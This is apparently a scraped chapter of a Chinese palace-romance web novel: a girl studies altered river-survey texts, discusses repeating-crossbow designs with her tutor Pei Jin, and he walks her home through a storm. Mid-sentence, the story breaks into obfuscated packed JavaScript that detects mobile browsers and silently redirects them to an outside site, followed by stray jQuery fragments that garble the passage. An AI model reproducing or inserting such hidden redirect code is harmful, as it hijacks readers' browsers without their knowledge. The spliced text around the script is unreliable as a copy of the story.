23. 骤雨
作品:《日月晦明》 是夜。
烛火在更漏声中渐矮,明颐正伏在钟粹宫偏殿的案头,摊开三版《水经注》细细研读。
她不明白,为什么连《水经注》这样丝毫不涉及政治,只关乎水文地形之书,都能改出几个不同的版本来——譬如,并不对外公开的弘文馆版本中所标注的暗礁群,在工部删减后的版本里全都化作了“舟楫慎行”四字。
究竟为什么要刻意抹去那些水文细节?
夜色已深,小姑娘活动了几下酸胀的腕骨,再次一心扑在书上,试图将一条条河道刻在自己脑海之中。
她从来不信裴谨的才华全部源于天赋。
她听崔怀逸说过,裴谨屋内常常丑时还未熄灯,从文华殿下了学后,好像也有数不尽的书要读。他的敏锐与洞悉一切的能力或许是天赋所致,但博闻强识与见多识广却来自于日复一日的苦功夫和积累。
明颐知道,自己若是如愿嫁出京城,恐怕便再难这样近与大荣的权力中枢相交集,且需忙碌于内宅中馈之事,对改革一事只怕是有心无力,那么自己能做的,便是在及笄前这三年,多为改革做出些贡献。
她想至少和裴谨一样,成为太子的左膀右臂,甚至渴望着超过他这个师父,真正闯出一番属于自己的天地来。
所以她只能更努力。
一些东西的重要性似乎正渐渐上升,几乎要排在她曾经最渴望的自由的前头。
就这样一连坚持了一两个月,明颐傍晚一陪欢容从文华殿下学,就提着德妃小厨房的糕点去藏书阁找裴谨,他教得巧妙,她也学得用心。
不知不觉,就到了“绿槐高柳咽新蝉,薰风初入弦”的时候。
一日从文华殿下了学,易弦唤明颐去太后宫里,帮她解棋盘的残局——她们彼此心照不宣,这是太子下达新任务了。
这次是三张改进后的连□□,太子要让裴谨在七日内先从理论上验算一遍射速与可行性,他再派人去造实物。
明颐回到钟粹宫,将三张图纸悄悄叠好压在食盒最底下,便往藏书阁走去。路上她抬头看了眼,天阴得吓人,只好祈祷着在她回钟粹宫前不要下雨。
“裴谨!”明颐从门外探头进来,笑盈盈对着少年晃了晃手中的食盒。两个月相处中,对她来说,裴谨已经算得上是亦师亦友的角色。
然而我们裴公子的心思显然早就没有这般纯洁,这两个月的单独相处只让他反复确定了一件事——他喜欢上了眼前的姑娘。
为了确认自己的情感,小算盘精甚至偷偷抱着查阅资料的态度,翻出了几卷郎情妾意你侬我侬的话本子看。
他可以肯定,他喜欢她请教问题时眼睛里亮晶晶的光,喜欢她完成任务时的认真和严肃,喜欢她给他讲自己巧妙方法时眼底藏不住的小骄傲,更喜欢她安静咀嚼糕点时,腮帮子鼓鼓的样子。
既然她要这个以严谨著称的少年甚至可以说,他喜欢她的一切。
即使心中再波涛汹涌,少年面上永远都波澜不惊,也只是默默给明颐搬了凳子过来,从容地应一声,“小颐来了,快坐。”
明颐小心翼翼关上门,提着食盒自然地坐在他对面,回头又确认了下门已被关好,才放心坐下来打开食盒,里面是两碗藕粉圆子。
她也发现了,食盒里的点心从某一天起就变成了双份,也没多想,一直以为是德妃娘娘发现她也爱吃,特意吩咐小厨房准备的。
裴谨也并不打算告诉小姑娘,之所以变成了双份,是他去求的德妃娘娘。
明颐取出两碗藕粉圆子放在桌案上,又从食盒底部取出连弩草图铺在一旁,“今儿得快些吃,研究这连弩可是个大工程。”
“不急。”裴谨摇摇头,竟然不慌不忙地用勺子搅起了碗里的藕粉圆子,“只要是研究器物,便算不上什么难题,少则三日,顶多五日。”
“师父口气不小啊。”明颐一听这话就笑了。
“射准是最重要的,先得算清楚弩箭发射角度与弩机、弩臂的关系。然后就是力道,需得研究弓弦选择何种材料方能储存足够能量。”
但凡换个人,明颐都会觉得对方说这些话是在向她卖弄,而这话配上裴谨严肃的神情,她很难不相信他就是认真地在同她讲。
“还要看能否保证将士握弩能顺畅发力以及发射瞬间弩臂能否承受弩弦的巨大拉力......”
裴谨正要继续说下去,却被明颐打断了,“所以裴谨,在你眼里,到底什么才算难题?”
忽然一阵狂风刮开了藏书阁的窗,把几张图纸卷向远处的地面,幸亏明颐眼疾手快将其按住。
山雨欲来风满楼。
“能算出来的,都不是难题。”裴谨关窗时背过身子去答道,“算不尽的,譬如人心,譬如权术,才是真的难题。我能算得出这连弩怎么造射程才最远,却答不出这利器该从何处推行。”
“自然是边关战场!”明颐的声音不自知抬高了几分,“禁军要这连弩何用?若是镇西军能用上这连弩,不知能拯救多少为国牺牲将士的性命!”
裴谨及时向她比了个噤声的手势,轻声开口,“小颐,你想想,皇上会允许一只战力有可能超过禁军的军队的存在吗?”
明颐忽然想起裴谨最初通过三版《水经注》告诉她的道理:统治的巩固需要对某些知识的垄断。
而未来的统治者正试图摧毁着统治的根基,太子正在做的,恰恰就是打破这样的垄断。
明颐甚至不敢继续想下去,所以最终,怕是连皇上也会站在改革的对立面吗?
一声惊雷恰到好处在天空炸响,暴雨终于倾盆而下,水帘模糊了窗外灯笼的光晕,裴谨把三页图纸夹重新叠好夹回书中,“该回了,连弩我自己慢慢验算,若再耽搁下去,只怕雨会越下越大。”
明颐略显得有些局促起来,“裴谨,我没带伞.....”
“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118237|163171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
送你。”裴谨没有犹豫,提起斜倚在书架上的绸布伞走向屋外,伞面在檐下“唰”地绽开,回头看向明颐,“还不走?”
明颐连忙摆摆手,“我想着你还有要事要忙,不妨先把伞借我,等我回了钟粹宫再差人给你送回来,这样你就不用白跑一趟了。”
裴谨转念一想,似乎合情合理,但少年天才不知道搭错了哪根弦,偏生就固执己见了一次,“不行,我送你回去。”
明颐见拗不过他,只好作罢,老老实实钻进伞下。宫灯在雨幕中晕成朦胧的光团,明颐怀中的食盒随着脚步轻晃,空碗和盒壁碰撞的叮当,混着雨打琉璃瓦的声响,仿佛织成一张细密的网,将二人与这雨夜隔绝开来。
不知道第多少次,裴谨把伞面倾向明颐,少女悄悄将食盒换到右手,空出的左手突然握住伞柄往他那边推。两道力在竹柄上暗自较劲,伞骨不堪重负地吱呀摇晃。
“你把伞往中间些。”明颐败下阵来,扯着裴谨的袖口摇了摇,“宫里今年新糊的伞,莫要糟蹋....啊!”
小姑娘不小心踩到青苔,脚底一滑,却被裴谨眼疾手快扶住,踉跄着撞上少年胸前湿透的官袍,皂角香混着雨水的腥气扑面而来。
明颐心怦怦直跳,连忙退后两步,面颊离奇地烧起红云,低下头往前走,轻声说了句,“谢谢。”
“无妨。”裴谨的耳根也可疑地红了起来,加快两步重新走到明颐身侧替她打伞。
刚才那一瞬间,他分明听见自己心跳震得伞骨都在颤动。
两人就这样一路无话,并肩走到钟粹宫阶前,明颐刚要和裴谨道谢连同道别,却见对方从袖中掏出个油纸包,里头躺着块完整的板栗酥。
明颐一怔。
“我晨起去尚膳监要的,知道你不喜欢吃太甜的,就特意嘱咐他们减了三分糖,怕是比不得德妃娘娘小厨房的口味......”
明颐接过那带着余温的纸包,手指小心翼翼抚过,惊喜混杂着感动,还有一些说不清道不明的情愫一齐涌上心头,一时不知该说些什么。
他竟默默地将她的喜好记得这样清楚。
心底好像有颗在春日埋下的种子倏地破了土,直卯着劲要往外钻,誓要在这个盛夏开出花儿来。
“你真好,裴谨。”明颐就这样站伞下拆开油纸包裹,栗蓉的温热顺着喉咙流淌进心底,她笑盈盈地望向少年的眼,“好吃,比娘娘小厨房的还好吃。”
“喜欢就好。”
再伶牙俐齿的人在面对心上人的赞誉时也会变得笨嘴拙舌,何况是本就不善言辞的裴谨。
缱绻的氛围被钟粹宫提着灯迎上来的值夜宫女打破,光晕切开雨帘的刹那,裴谨又变回那个滴水不漏的秘书郎,唯有耳尖尚未消散的红晕泄了密。
他不知道这场暴雨会冲垮些什么,正如不知道三年后禁军握着连弩把东宫围个水泄不通时,自己该如何面对她眼底破碎的光。

